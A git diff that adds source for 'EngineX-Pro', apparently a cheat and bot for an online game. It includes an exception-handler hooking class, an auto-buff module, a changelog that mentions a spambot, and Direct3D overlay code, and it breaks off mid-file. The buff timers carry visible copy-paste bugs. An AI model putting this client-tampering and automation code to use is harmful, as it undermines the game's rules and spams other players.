diff --git a/EngineX-Pro.sln b/EngineX-Pro.sln new file mode 100644 index 0000000..0e34984 --- /dev/null +++ b/EngineX-Pro.sln @@ -0,0 +1,39 @@ + +Microsoft Visual Studio Solution File, Format Version 12.00 +# Visual Studio Version 16 +VisualStudioVersion = 16.0.28407.52 +MinimumVisualStudioVersion = 10.0.40219.1 +Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "EngineX", "EngineX-Pro\EngineX-Pro.vcxproj", "{B12702AD-ABFB-343A-A199-8E24837244A3}" +EndProject +Global + GlobalSection(SolutionConfigurationPlatforms) = preSolution + Debug|Win32 = Debug|Win32 + Debug|x64 = Debug|x64 + PGInstrument|Win32 = PGInstrument|Win32 + PGInstrument|x64 = PGInstrument|x64 + PGUpdate|Win32 = PGUpdate|Win32 + PGUpdate|x64 = PGUpdate|x64 + Release|Win32 = Release|Win32 + Release|x64 = Release|x64 + EndGlobalSection + GlobalSection(ProjectConfigurationPlatforms) = postSolution + {B12702AD-ABFB-343A-A199-8E24837244A3}.Debug|Win32.ActiveCfg = Debug|Win32 + {B12702AD-ABFB-343A-A199-8E24837244A3}.Debug|Win32.Build.0 = Debug|Win32 + {B12702AD-ABFB-343A-A199-8E24837244A3}.Debug|x64.ActiveCfg = Debug|Win32 + {B12702AD-ABFB-343A-A199-8E24837244A3}.PGInstrument|Win32.ActiveCfg = Release|Win32 + {B12702AD-ABFB-343A-A199-8E24837244A3}.PGInstrument|Win32.Build.0 = Release|Win32 + {B12702AD-ABFB-343A-A199-8E24837244A3}.PGInstrument|x64.ActiveCfg = Release|Win32 + {B12702AD-ABFB-343A-A199-8E24837244A3}.PGUpdate|Win32.ActiveCfg = Release|Win32 + {B12702AD-ABFB-343A-A199-8E24837244A3}.PGUpdate|Win32.Build.0 = Release|Win32 + {B12702AD-ABFB-343A-A199-8E24837244A3}.PGUpdate|x64.ActiveCfg = Release|Win32 + {B12702AD-ABFB-343A-A199-8E24837244A3}.Release|Win32.ActiveCfg = Release|Win32 + {B12702AD-ABFB-343A-A199-8E24837244A3}.Release|Win32.Build.0 = Release|Win32 + {B12702AD-ABFB-343A-A199-8E24837244A3}.Release|x64.ActiveCfg = Release|Win32 + EndGlobalSection + GlobalSection(SolutionProperties) = preSolution + HideSolutionNode = FALSE + EndGlobalSection + GlobalSection(ExtensibilityGlobals) = postSolution + SolutionGuid = {1A96352C-88D9-4968-9A09-2837F39CCBC0} + EndGlobalSection +EndGlobal diff --git a/EngineX-Pro/AVehHook.cpp b/EngineX-Pro/AVehHook.cpp new file mode 100644 index 0000000..4f190d9 --- /dev/null +++ b/EngineX-Pro/AVehHook.cpp @@ -0,0 +1,83 @@ +#include "polyhook2/Exceptions/AVehHook.hpp" + +PLH::RefCounter PLH::AVehHook::m_refCount; +void* PLH::AVehHook::m_hHandler; +std::unordered_set PLH::AVehHook::m_impls; +PLH::eException PLH::AVehHook::m_onException; +PLH::eException PLH::AVehHook::m_onUnhandledException; + +// https://reverseengineering.stackexchange.com/questions/14992/what-are-the-vectored-continue-handlers +PLH::AVehHook::AVehHook() { + if (m_refCount.m_count == 0) { + m_hHandler = AddVectoredExceptionHandler(1, &AVehHook::Handler); + if (m_hHandler == NULL) { + Log::log("Failed to add VEH", ErrorLevel::SEV); + } + } + + m_refCount.m_count++; +} + +PLH::AVehHook::~AVehHook() { + assert(m_refCount.m_count >= 1); + + m_refCount.m_count--; + if (m_refCount.m_count == 0) { + assert(m_hHandler != nullptr); + ULONG status = RemoveVectoredExceptionHandler(m_hHandler); + m_hHandler = nullptr; + if (status == 0) { + Log::log("Failed to remove VEH", ErrorLevel::SEV); + } + } +} + +PLH::eException& PLH::AVehHook::EventException() { + return m_onException; +} + +PLH::eException& PLH::AVehHook::EventUnhandledException() { + return m_onUnhandledException; +} + +LONG CALLBACK PLH::AVehHook::Handler(EXCEPTION_POINTERS* ExceptionInfo) { + DWORD ExceptionCode = ExceptionInfo->ExceptionRecord->ExceptionCode; + uint64_t ip = ExceptionInfo->ContextRecord->XIP; + + // invoke callback (let users filter) + DWORD code = EXCEPTION_CONTINUE_SEARCH; + if (m_onException && m_onException.Invoke(ExceptionInfo, &code)) + return code; + + switch (ExceptionCode) { + case 0xE06D7363: // oooh aaahh a magic value + std::cout << "C++ exception thrown" << std::endl; + break; + // these could all reasonably be hooked by someone + case EXCEPTION_GUARD_PAGE: + case EXCEPTION_ACCESS_VIOLATION: + case EXCEPTION_BREAKPOINT: + case EXCEPTION_SINGLE_STEP: + // lookup which instance to forward exception to + for (const auto& hk : m_impls) { + switch (hk.type) { + case AVehHookImpType::SINGLE: + if (hk.startAddress == ip) { + return hk.impl->OnException(ExceptionInfo); + } + break; + case AVehHookImpType::RANGE: + if (ip >= hk.startAddress && ip < hk.endAddress) { + return hk.impl->OnException(ExceptionInfo); + } + break; + } + } + break; + default: + // let users extend manually + if (m_onUnhandledException && m_onUnhandledException.Invoke(ExceptionInfo, &code)) + return code; + } + return EXCEPTION_CONTINUE_SEARCH; +} \ No newline at end of file diff --git a/EngineX-Pro/AutoTalk.h b/EngineX-Pro/AutoTalk.h new file mode 100644 index 0000000..82bea70 --- /dev/null +++ b/EngineX-Pro/AutoTalk.h @@ -0,0 +1,44 @@ +#pragma once +class AutoTalk :public IAbstractModuleBase/*, public Singleton*/ +{ +private: +public: + void OnStart() + { + + } + + void OnStop() + { + } + + void OnUpdate() + { + + } + + void OnRender() + { + } + + void OnTab1() + { + + } + + void OnTabs() + { + MainForm::AddTab(30, "AutoTalk"); + } + + void OnMenu() + { + switch (MainForm::CurTabOpen) + { + case 30: + OnTab1(); + break; + } + } +}; + diff --git a/EngineX-Pro/Buff.h b/EngineX-Pro/Buff.h new file mode 100644 index 0000000..78ad0bc --- /dev/null +++ b/EngineX-Pro/Buff.h @@ -0,0 +1,420 @@ + +#pragma once +class Buff : public IAbstractModuleBase, public Singleton +{ + + class TargetBuff + { + + public: + TargetBuff(string targetName, DWORD targetVid) + { + this->targetName = targetName; + this->targetVid = targetVid; + } + DWORD lastTimeBuff_1 = 0; + DWORD lastTimeBuff_2 = 0; + DWORD lastTimeBuff_3 = 0; + string targetName = ""; + DWORD targetVid = 0; + bool guiLineIsSelected = false; + }; + + + +private: + map> targetList; + + DWORD selectedTargetLine=0; + + DirectTexture textureSkill_1; + DirectTexture textureSkill_2; + DirectTexture textureSkill_3; + + + void SetJobRaceTextures(int job, int race) + { + if (!GameFunctionsCustom::PlayerIsInstance()) + { + job = 0; + race = 0; + } + if (job == 0) + { + textureSkill_1 = MainForm::ResourceMap["skill_none"]; + textureSkill_2 = MainForm::ResourceMap["skill_none"]; + textureSkill_3 = MainForm::ResourceMap["skill_none"]; + return; + } + else + { + + } + if (race == 0 || race == 4) + { + if (job == 1) + { + + textureSkill_1 = MainForm::ResourceMap["skill_none"]; + textureSkill_2 = MainForm::ResourceMap["skill_none"]; + textureSkill_3 = MainForm::ResourceMap["skill_none"]; + } + if (job == 2) + { + textureSkill_1 = MainForm::ResourceMap["skill_none"]; + textureSkill_2 = MainForm::ResourceMap["skill_none"]; + textureSkill_3 = MainForm::ResourceMap["skill_none"]; + } + } + + if (race == 1 || race == 5) + { + if (job == 1) + { + textureSkill_1 = MainForm::ResourceMap["skill_none"]; + textureSkill_2 = MainForm::ResourceMap["skill_none"]; + textureSkill_3 = MainForm::ResourceMap["skill_none"]; + } + if (job == 2) + { + textureSkill_1 = MainForm::ResourceMap["skill_none"]; + textureSkill_2 = MainForm::ResourceMap["skill_none"]; + textureSkill_3 = MainForm::ResourceMap["skill_none"]; + } + } + + if (race == 2 || race == 6) + { + if (job == 1) + { + textureSkill_1 = MainForm::ResourceMap["skill_none"]; + textureSkill_2 = MainForm::ResourceMap["skill_none"]; + textureSkill_3 = MainForm::ResourceMap["skill_none"]; + + } + if (job == 2) + { + textureSkill_1 = MainForm::ResourceMap["skill_none"]; + textureSkill_2 = MainForm::ResourceMap["skill_none"]; + textureSkill_3 = MainForm::ResourceMap["skill_none"]; + } + } + + if (race == 3 || race == 7) + { + if (job == 1) + { + textureSkill_1 = MainForm::ResourceMap["shaman_d_3"]; + textureSkill_2 = MainForm::ResourceMap["shaman_d_4"]; + textureSkill_3 = MainForm::ResourceMap["shaman_d_5"]; + } + if (job == 2) + { + textureSkill_1 = MainForm::ResourceMap["shaman_h_3"]; + textureSkill_2 = MainForm::ResourceMap["shaman_h_4"]; + textureSkill_3 = MainForm::ResourceMap["shaman_h_5"]; + } + } + } + +public: + virtual void OnStart() + { + + + } + + + virtual void OnStop() + { + + } + + virtual void OnUpdate() + { + /*if(GameFunctionsCustom::PlayerIsInstance()) + { }*/ + SetJobRaceTextures(GameFunctions::NetworkStreamGetMainActorSkillGroup(), GameFunctions::PlayerGetRace()); + if (Settings::BUFF_ENABLE) + { + if (!GameFunctions::NetworkStreamGetMainActorSkillGroup()) + { + return; + } + if (GameFunctions::PlayerGetRace() == 3 || GameFunctions::PlayerGetRace() == 7) + { + + } + else + { + return; + } + if (Settings::BUFF_ENABLE) + { + if(DynamicTimer::CheckAutoSet("Skill", 500)) + { + if (Settings::BUFF_SKILL_1_ENABLE) + { + if (DynamicTimer::Check("BuffBotSkill1Time", Settings::BUFF_SKILL_1_TIME * 100)) + { + for (map>::iterator itor = targetList.begin(); itor != targetList.end(); itor++) + { + if ((GetTickCount() - itor->second.get()->lastTimeBuff_1) > 30000) + { + if (GameFunctionsCustom::PlayerGetCharacterDistance(itor->first) < 10000) + { + DWORD targetVID = GameFunctionsCustom::GetCharacterVidByName(itor->second.get()->targetName.c_str()); + if (targetVID) + { + GameFunctions::PlayerSetTarget(itor->second.get()->targetVid); + GameFunctionsCustom::UseSkillSlot(4); + itor->second.get()->lastTimeBuff_3 = GetTickCount(); + DynamicTimer::SetTick("BuffBotSkill1Time"); + continue; + } + + else + { + itor->second.get()->lastTimeBuff_3 = GetTickCount(); + continue; + } + + + } + else + { + continue; + } + } + else + { + continue; + } + } + + + + } + } + if (Settings::BUFF_SKILL_2_ENABLE) + { + if (DynamicTimer::Check("BuffBotSkill2Time", Settings::BUFF_SKILL_2_TIME * 100)) + { + for (map>::iterator itor = targetList.begin(); itor != targetList.end(); itor++) + { + if (GetTickCount() - itor->second.get()->lastTimeBuff_2 > 30000) + { + if (GameFunctionsCustom::PlayerGetCharacterDistance(itor->first) < 10000) + { + DWORD targetVID = GameFunctionsCustom::GetCharacterVidByName(itor->second.get()->targetName.c_str()); + if (targetVID) + { + GameFunctions::PlayerSetTarget(itor->second.get()->targetVid); + GameFunctionsCustom::UseSkillSlot(5); + itor->second.get()->lastTimeBuff_3 = GetTickCount(); + DynamicTimer::SetTick("BuffBotSkill2Time"); + continue; + } + + else + { + itor->second.get()->lastTimeBuff_3 = GetTickCount(); + continue; + } + + + } + else + { + continue; + } + } + else + { + continue; + } + } + + + + } + } + if (Settings::BUFF_SKILL_3_ENABLE) + { + if (DynamicTimer::Check("BuffBotSkill3Time", Settings::BUFF_SKILL_3_TIME * 100)) + { + for (map>::iterator itor = targetList.begin(); itor != targetList.end(); itor++) + { + if (GetTickCount() - itor->second.get()->lastTimeBuff_3 > 30000) + { + if (GameFunctionsCustom::PlayerGetCharacterDistance(itor->first) < 10000) + { + DWORD targetVID = GameFunctionsCustom::GetCharacterVidByName(itor->second.get()->targetName.c_str()); + if (targetVID) + { + GameFunctions::PlayerSetTarget(itor->second.get()->targetVid); + GameFunctionsCustom::UseSkillSlot(6); + itor->second.get()->lastTimeBuff_3 = GetTickCount(); + DynamicTimer::SetTick("BuffBotSkill3Time"); + continue; + } + + else + { + itor->second.get()->lastTimeBuff_3 = GetTickCount(); + continue; + } + + + } + else + { + continue; + } + } + else + { + continue; + } + } + + + + } + } + } + + } + } + } + + void OnRender() + { + } + + void OnTab1() + { + ImGui::PushStyleVar(ImGuiStyleVar_ChildRounding, 5.0f); + ImGui::SetNextWindowBgAlpha(0.75f); + ImGui::BeginChild("BuffSkillsBorder", ImVec2(ImGui::GetWindowWidth() - 10, ImGui::GetWindowHeight() - 10), true); + ImGui::Checkbox("Buff Enable", &Settings::BUFF_ENABLE); + if (ImGui::BeginTable("##table1", 3)) + { + ImGui::TableNextRow(); + ImGui::TableSetColumnIndex(0); + ImGui::IconButton2(&Settings::BUFF_SKILL_1_ENABLE, "Skill 1", textureSkill_1, MainForm::ResourceMap["skill_on"], MainForm::ResourceMap["skill_off"], ImVec2(32, 32)); + ImGui::SameLine(); + ImGui::PushItemWidth(100); ImGui::InputFloat("##Skill1Time", &Settings::BUFF_SKILL_3_TIME, 0.100, 1); + ImGui::TableSetColumnIndex(1); + ImGui::IconButton2(&Settings::BUFF_SKILL_2_ENABLE, "Skill 2", textureSkill_2, MainForm::ResourceMap["skill_on"], MainForm::ResourceMap["skill_off"], ImVec2(32, 32)); + ImGui::SameLine(); + ImGui::PushItemWidth(100); ImGui::InputFloat("##Skill2Time", &Settings::BUFF_SKILL_3_TIME, 0.100, 1); + ImGui::TableSetColumnIndex(2); + ImGui::IconButton2(&Settings::BUFF_SKILL_3_ENABLE, "Skill 3", textureSkill_3, MainForm::ResourceMap["skill_on"], MainForm::ResourceMap["skill_off"], ImVec2(32, 32)); + ImGui::SameLine(); + ImGui::PushItemWidth(100); ImGui::InputFloat("##Skill3Time", &Settings::BUFF_SKILL_3_TIME, 0.100, 1); + ImGui::EndTable(); + } + + ImGui::BeginChild("BuffTargetList", ImVec2(190, 200), true); + for (map>::iterator itor = targetList.begin(); itor != targetList.end(); itor++) + { + + if (ImGui::Selectable(itor->second.get()->targetName.c_str(), itor->second.get()->guiLineIsSelected)) + { + selectedTargetLine = itor->first; + } + else + { + + } + if (itor->first == selectedTargetLine) + { + itor->second.get()->guiLineIsSelected = true; + } + else + { + itor->second.get()->guiLineIsSelected = false; + } + } + ImGui::EndChild(); + ImGui::SameLine(); + if (ImGui::Button("Add")) + { + if (!Settings::BUFF_ENABLE) + { + DWORD targetVID = GameFunctions::PlayerGetTargetVID(); + if (targetVID) + { + int targetType = GameFunctionsCustom::InstanceGetInstanceTypeByVID(targetVID); + if (targetType == TYPE_PC) + { + string targetName = GameFunctionsCustom::InstanceGetNameStringByVID(GameFunctions::PlayerGetTargetVID()); + if (targetName != GameFunctionsCustom::PlayerGetNameString()) + { + bool isExistInMap = false; + for (map>::iterator itor = targetList.begin(); itor != targetList.end(); itor++) + { + if (itor->second.get()->targetName == targetName) + { + isExistInMap = true; + } + + } + if (!isExistInMap) + { + DWORD emptyLastKey = 0; + + for (map>::iterator itor = targetList.begin(); itor != targetList.end(); itor++) + { + + emptyLastKey = itor->first; + } + emptyLastKey++; + + + targetList.insert(std::make_pair(emptyLastKey, shared_ptr(new TargetBuff(targetName, targetVID)))); + } + } + } + } + } + } + ImGui::SameLine(); + if (ImGui::Button("Remove")) + { + if (!Settings::BUFF_ENABLE) + { + DWORD key = 0; + for (map>::iterator itor = targetList.begin(); itor != targetList.end(); itor++) + { + if (itor->second.get()->guiLineIsSelected) + { + + key = itor->first; + } + + } + targetList.erase(key); + } + + } + ImGui::EndChild(); + ImGui::PopStyleVar(); + } + + void OnTabs() + { + MainForm::AddTab(17, "Buff"); + } + + void OnMenu() + { + switch (MainForm::CurTabOpen) + { + case 17: + OnTab1(); + break; + } + } +}; diff --git a/EngineX-Pro/CHANGE_LOG.h b/EngineX-Pro/CHANGE_LOG.h new file mode 100644 index 0000000..93c40b0 --- /dev/null +++ b/EngineX-Pro/CHANGE_LOG.h @@ -0,0 +1,14 @@ +#pragma once +//-spambot whisper fix +//-spambot rainbow color wishper,shout,normal[developer_mode] +//-spambot fix change if string empty +//-status TextColored, Translated +//-check c4us Members hwid DEVELOPER MODE, DEBUG compilation +//-logger color fix +//-fish temporary logs fix; +//-mob detect off fix +//-revive fix +//-added instance "IsWaiting" +//-minner added +//-farm time to pick drop added +//-replace set dirrection to set rotation \ No newline at end of file diff --git a/EngineX-Pro/CRender.cpp b/EngineX-Pro/CRender.cpp new file mode 100644 index 0000000..1972887 --- /dev/null +++ b/EngineX-Pro/CRender.cpp @@ -0,0 +1,453 @@ +#include "stdafx.h" +#include "CRender.h" +struct SD3DVertex{ + float x, y, z, rhw; + DWORD colour; +}; + +typedef struct SPDTVertex +{ + D3DVECTOR position; + DWORD diffuse; + D3DXVECTOR2 texCoord; +} TPDTVertex; + +struct SPDTVertexRaw +{ + float px, py, pz; + DWORD diffuse; + float u, v; +}; + +CRender::CRender() {} +CRender::~CRender() {} + +D3DMATRIX CRender::WorldStateCopy; +#ifdef DX9 +#define SetVertex SetFVF +#define GetVertex GetFVF +#define IndexBuffer LPDIRECT3DINDEXBUFFER9 +#define VertexBuffer LPDIRECT3DVERTEXBUFFER9 +#else +#define SetVertex SetVertexShader +#define GetVertex GetVertexShader +#define IndexBuffer LPDIRECT3DINDEXBUFFER8 +#define VertexBuffer LPDIRECT3DVERTEXBUFFER8 + +#endif + +DWORD textureFactor; +DWORD colorArg1; +DWORD colorArg2; +DWORD colorOp; +DWORD alphaArg1; +DWORD alphaArg2; +DWORD alphaOp; +DWORD alpaBlend; +DWORD srcBlend; +DWORD destBlend; + +DWORD FillOld; +D3DXMATRIX stateold; + +DWORD culling; +DWORD Lighting; +DirectTexture Red, Green, Blue, Yellow; +HRESULT GenerateTexture(DirectDevice pDevice, DirectTexture* ppD3Dtex, DWORD colour32) +{ + //pDevice->CreateTexture(8, 8, 1, 0, D3DFMT_A4R4G4B4, D3DPOOL_MANAGED, ppD3Dtex); + WORD colour16 = ((WORD)((colour32 >> 28) & 0xF) << 12) + | (WORD)(((colour32 >> 20) & 0xF) << 8) + | (WORD)(((colour32 >> 12) & 0xF) << 4) + | (WORD)(((colour32 >> 4) & 0xF) << 0); + + D3DLOCKED_RECT d3dlr; + (*ppD3Dtex)->LockRect(0, &d3dlr, 0, 0); + WORD* pDst16 = (WORD*)d3dlr.pBits; + + for (int xy = 0; xy < 8 * 8; xy++) + *pDst16++ = colour16; + + (*ppD3Dtex)->UnlockRect(0); + + return S_OK; +} + +class RestoreStateWithWorld +{ +public: + DWORD m_dwVS; + RestoreStateWithWorld(D3DFILLMODE d3dFillMode, const D3DXMATRIX& c_rmatWorld, D3DCOLOR colour) + { + //BACKUP + Device::pDevice->GetVertex(&m_dwVS); + Device::pDevice->GetRenderState(D3DRS_CULLMODE, &culling); + Device::pDevice->GetRenderState(D3DRS_FILLMODE, &FillOld); + Device::pDevice->GetRenderState(D3DRS_TEXTUREFACTOR, &textureFactor); + Device::pDevice->GetTextureStageState(0, D3DTSS_COLORARG1, &colorArg1); + Device::pDevice->GetTextureStageState(0, D3DTSS_COLORARG2, &colorArg2); + Device::pDevice->GetTextureStageState(0, D3DTSS_COLOROP, &colorOp); + Device::pDevice->GetTextureStageState(0, D3DTSS_ALPHAARG1, &alphaArg1); + Device::pDevice->GetTextureStageState(0, D3DTSS_ALPHAARG2, &alphaArg2); + Device::pDevice->GetTextureStageState(0, D3DTSS_ALPHAOP, &alphaOp); + Device::pDevice->GetRenderState(D3DRS_ALPHABLENDENABLE, &alpaBlend); + Device::pDevice->GetRenderState(D3DRS_SRCBLEND, &srcBlend); + Device::pDevice->GetRenderState(D3DRS_DESTBLEND, &destBlend); + Device::pDevice->GetTransform(D3DTS_WORLD, &stateold); + + //SET VALUES + Device::pDevice->SetTexture(0, NULL); + Device::pDevice->SetTexture(1, NULL); + Device::pDevice->SetPixelShader(NULL); + + Device::pDevice->SetRenderState(D3DRS_CULLMODE, D3DCULL_NONE); + Device::pDevice->SetRenderState(D3DRS_FILLMODE, d3dFillMode); + Device::pDevice->SetRenderState(D3DRS_TEXTUREFACTOR, colour); + + Device::pDevice->SetTextureStageState(0, D3DTSS_COLORARG1, D3DTA_TFACTOR); + Device::pDevice->SetTextureStageState(0, D3DTSS_COLORARG2, D3DTA_TEXTURE); + Device::pDevice->SetTextureStageState(0, D3DTSS_COLOROP, D3DTOP_SELECTARG1); + + Device::pDevice->SetTextureStageState(0, D3DTSS_ALPHAARG1, D3DTA_TFACTOR); + Device::pDevice->SetTextureStageState(0, D3DTSS_ALPHAARG2, D3DTA_TEXTURE); + Device::pDevice->SetTextureStageState(0, D3DTSS_ALPHAOP, D3DTOP_MODULATE); + + Device::pDevice->SetRenderState(D3DRS_ALPHABLENDENABLE, true); + Device::pDevice->SetRenderState(D3DRS_SRCBLEND, D3DBLEND_SRCALPHA); + Device::pDevice->SetRenderState(D3DRS_DESTBLEND, D3DBLEND_INVSRCALPHA); + Device::pDevice->SetTransform(D3DTS_WORLD, &c_rmatWorld); + } + + virtual ~RestoreStateWithWorld() + { + //RESTORE + Device::pDevice->SetVertex(m_dwVS); + Device::pDevice->SetRenderState(D3DRS_CULLMODE, culling); + Device::pDevice->SetRenderState(D3DRS_TEXTUREFACTOR, textureFactor); + Device::pDevice->SetTextureStageState(0, D3DTSS_COLORARG1, colorArg1); + Device::pDevice->SetTextureStageState(0, D3DTSS_COLORARG2, colorArg2); + Device::pDevice->SetTextureStageState(0, D3DTSS_COLOROP, colorOp); + Device::pDevice->SetTextureStageState(0, D3DTSS_ALPHAARG1, alphaArg1); + Device::pDevice->SetTextureStageState(0, D3DTSS_ALPHAARG2, alphaArg2); + Device::pDevice->SetTextureStageState(0, D3DTSS_ALPHAOP, alphaOp); + Device::pDevice->SetRenderState(D3DRS_ALPHABLENDENABLE, alpaBlend); + Device::pDevice->SetRenderState(D3DRS_SRCBLEND, srcBlend); + Device::pDevice->SetRenderState(D3DRS_DESTBLEND, destBlend); + Device::pDevice->SetTransform(D3DTS_WORLD, &stateold); + Device::pDevice->SetRenderState(D3DRS_FILLMODE, FillOld); + } +}; + + +DWORD textureFactorGame; +DWORD colorArg1Game; +DWORD colorArg2Game; +DWORD colorOpGame; +DWORD alphaArg1Game; +DWORD alphaArg2Game; +DWORD alphaOpGame; +DWORD alpaBlendGame; +DWORD srcBlendGame; +DWORD destBlendGame; + +DWORD FillOldGame; +D3DXMATRIX stateoldGame; + +DWORD cullingGame; +DWORD LightingGame; +class RestoreStateGame +{ +public: + DWORD m_dwVS; + RestoreStateGame(D3DFILLMODE d3dFillMode, D3DCOLOR colour) + { + //BACKUP + Device::pDevice->GetVertex(&m_dwVS); + Device::pDevice->GetRenderState(D3DRS_CULLMODE, &cullingGame); + Device::pDevice->GetRenderState(D3DRS_TEXTUREFACTOR, &textureFactorGame); + Device::pDevice->GetRenderState(D3DRS_FILLMODE, &FillOldGame); + Device::pDevice->GetTextureStageState(0, D3DTSS_COLORARG1, &colorArg1Game); + Device::pDevice->GetTextureStageState(0, D3DTSS_COLORARG2, &colorArg2Game); + Device::pDevice->GetTextureStageState(0, D3DTSS_COLOROP, &colorOpGame); + Device::pDevice->GetTextureStageState(0, D3DTSS_ALPHAARG1, &alphaArg1Game); + Device::pDevice->GetTextureStageState(0, D3DTSS_ALPHAARG2, &alphaArg2Game); + Device::pDevice->GetTextureStageState(0, D3DTSS_ALPHAOP, &alphaOpGame); + Device::pDevice->GetRenderState(D3DRS_ALPHABLENDENABLE, &alpaBlendGame); + Device::pDevice->GetRenderState(D3DRS_SRCBLEND, &srcBlendGame); + Device::pDevice->GetRenderState(D3DRS_DESTBLEND, &destBlendGame); + Device::pDevice->GetTransform(D3DTS_WORLD, &stateoldGame); + + //SET VALUES + Device::pDevice->SetTexture(0, NULL); + Device::pDevice->SetTexture(1, NULL); + Device::pDevice->SetPixelShader(NULL); + + Device::pDevice->SetRenderState(D3DRS_CULLMODE, D3DCULL_NONE); + Device::pDevice->SetRenderState(D3DRS_FILLMODE, d3dFillMode); + Device::pDevice->SetRenderState(D3DRS_TEXTUREFACTOR, colour); + + Device::pDevice->SetTextureStageState(0, D3DTSS_COLORARG1, D3DTA_TFACTOR); + Device::pDevice->SetTextureStageState(0, D3DTSS_COLORARG2, D3DTA_TEXTURE); + Device::pDevice->SetTextureStageState(0, D3DTSS_COLOROP, D3DTOP_SELECTARG1); + Device::pDevice->SetTextureStageState(0, D3DTSS_ALPHAARG1, D3DTA_TFACTOR); + Device::pDevice->SetTextureStageState(0, D3DTSS_ALPHAARG2, D3DTA_TEXTURE); + Device::pDevice->SetTextureStageState(0, D3DTSS_ALPHAOP, D3DTOP_MODULATE); + + + Device::pDevice->SetRenderState(D3DRS_ALPHABLENDENABLE, true); + Device::pDevice->SetRenderState(D3DRS_SRCBLEND, D3DBLEND_SRCALPHA); + Device::pDevice->SetRenderState(D3DRS_DESTBLEND, D3DBLEND_INVSRCALPHA); + Device::pDevice->SetTransform(D3DTS_WORLD, &CRender::WorldStateCopy); + } + + virtual ~RestoreStateGame() + { + //RESTORE + Device::pDevice->SetVertex(m_dwVS); + Device::pDevice->SetRenderState(D3DRS_CULLMODE, cullingGame); + Device::pDevice->SetRenderState(D3DRS_TEXTUREFACTOR, textureFactorGame); + Device::pDevice->SetTextureStageState(0, D3DTSS_COLORARG1, colorArg1Game); + Device::pDevice->SetTextureStageState(0, D3DTSS_COLORARG2, colorArg2Game); + Device::pDevice->SetTextureStageState(0, D3DTSS_COLOROP, colorOpGame); + Device::pDevice->SetTextureStageState(0, D3DTSS_ALPHAARG1, alphaArg1Game); + Device::pDevice->SetTextureStageState(0, D3DTSS_ALPHAARG2, alphaArg2Game); + Device::pDevice->SetTextureStageState(0, D3DTSS_ALPHAOP, alphaOpGame); + Device::pDevice->SetRenderState(D3DRS_ALPHABLENDENABLE, alpaBlendGame); + Device::pDevice->SetRenderState(D3DRS_SRCBLEND, srcBlendGame); + Device::pDevice->SetRenderState(D3DRS_DESTBLEND, destBlendGame); + Device::pDevice->SetTransform(D3DTS_WORLD, &stateoldGame); + Device::pDevice->SetRenderState(D3DRS_FILLMODE, FillOldGame); + } +}; + + +void CRender::RenderSphere(LPD3DXMESH lpMesh, float fx, float fy, float fz, float fRadius, D3DFILLMODE d3dFillMode, D3DCOLOR colour) { + D3DXMATRIX matTranslation; + D3DXMATRIX matScaling; + + D3DXMatrixTranslation(&matTranslation, fx, fy, fz); + D3DXMatrixScaling(&matScaling, fRadius, fRadius, fRadius); + + D3DXMATRIX matWorld; + matWorld = matScaling * matTranslation; + + RestoreStateWithWorld SetRenderingOption(d3dFillMode, matWorld, colour); + IndexBuffer lpIndexBuffer; + VertexBuffer lpVertexBuffer; + lpMesh->GetIndexBuffer(&lpIndexBuffer); + lpMesh->GetVertexBuffer(&lpVertexBuffer); +#ifdef DX9 + Device::pDevice->SetVertex(lpMesh->GetFVF()); + Device::pDevice->SetIndices(lpIndexBuffer); + Device::pDevice->SetStreamSource(0, lpVertexBuffer, 0, 24); + Device::pDevice->DrawIndexedPrimitive(D3DPT_TRIANGLELIST, 0, 0, lpMesh->GetNumVertices(), 0, lpMesh->GetNumFaces()); +#else + Device::pDevice->SetVertexShader(lpMesh->GetFVF()); + Device::pDevice->SetIndices(lpIndexBuffer, 0); + Device::pDevice->SetStreamSource(0, lpVertexBuffer, 24); + Device::pDevice->DrawIndexedPrimitive(D3DPT_TRIANGLELIST, 0, lpMesh->GetNumVertices(), 0, lpMesh->GetNumFaces()); +#endif +} + + +void CRender::RenderBox(LPD3DXMESH ms_lpSphereMesh, float fx, float fy, float fz, float fRadius, D3DFILLMODE d3dFillMode, D3DCOLOR colour) { + D3DXMATRIX matTranslation; + D3DXMATRIX matScaling; + D3DXMatrixTranslation(&matTranslation, fx, fy, fz); + D3DXMatrixScaling(&matScaling, fRadius, fRadius, fRadius); + D3DXMATRIX matWorld; + matWorld = matScaling * matTranslation; + RestoreStateWithWorld SetRenderingOption(d3dFillMode, matWorld, colour); + IndexBuffer lpIndexBuffer; + VertexBuffer lpVertexBuffer; + ms_lpSphereMesh->GetIndexBuffer(&lpIndexBuffer); + ms_lpSphereMesh->GetVertexBuffer(&lpVertexBuffer); + ms_lpSphereMesh->DrawSubset(0); +#ifdef DX9 + Device::pDevice->SetVertex(ms_lpSphereMesh->GetFVF()); + Device::pDevice->SetIndices(lpIndexBuffer); + Device::pDevice->SetStreamSource(0, lpVertexBuffer, 0, 24); + Device::pDevice->DrawIndexedPrimitive(D3DPT_TRIANGLELIST, 0, 0, ms_lpSphereMesh->GetNumVertices(), 0, ms_lpSphereMesh->GetNumFaces()); +#else + Device::pDevice->SetVertexShader(ms_lpSphereMesh->GetFVF()); + Device::pDevice->SetIndices(lpIndexBuffer, 0); + Device::pDevice->SetStreamSource(0, lpVertexBuffer, 24); + Device::pDevice->DrawIndexedPrimitive(D3DPT_TRIANGLELIST, 0, ms_lpSphereMesh->GetNumVertices(), 0, ms_lpSphereMesh->GetNumFaces()); +#endif +} + +template +inline T Clamp(float v, T mn, T mx) +{ + return (v < mn) ? mn : (v > mx) ? mx : v; +} + +void CRender::Line3D(int x, int y, int z, int ex, int ey, int ez, ImVec4 colorvec) +{ + float f[4] = { colorvec.x, colorvec.y, colorvec.z, colorvec.w }; + int i[4] = { IM_F32_TO_INT8_UNBOUND(f[0]), IM_F32_TO_INT8_UNBOUND(f[1]), IM_F32_TO_INT8_UNBOUND(f[2]), IM_F32_TO_INT8_UNBOUND(f[3]) }; + D3DCOLOR color = D3DCOLOR_RGBA(Clamp(i[0], 0, 255), Clamp(i[1], 0, 255), Clamp(i[2], 0, 255), Clamp(i[3], 0, 255)); + SPDTVertexRaw pVertex[2] = + { + { x, y, z, color, 0.0f, 0.0f }, + { ex, ey, ez, color, 0.0f, 0.0f } + }; + + int count = 2; + VertexBuffer lpVertexBuffer; +#ifdef DX9 + Device::pDevice->CreateVertexBuffer(sizeof(TPDTVertex) * 16, D3DUSAGE_DYNAMIC | D3DUSAGE_WRITEONLY, D3DFVF_XYZ | D3DFVF_DIFFUSE | D3DFVF_TEX1, D3DPOOL_SYSTEMMEM, &lpVertexBuffer, NULL); +#else + 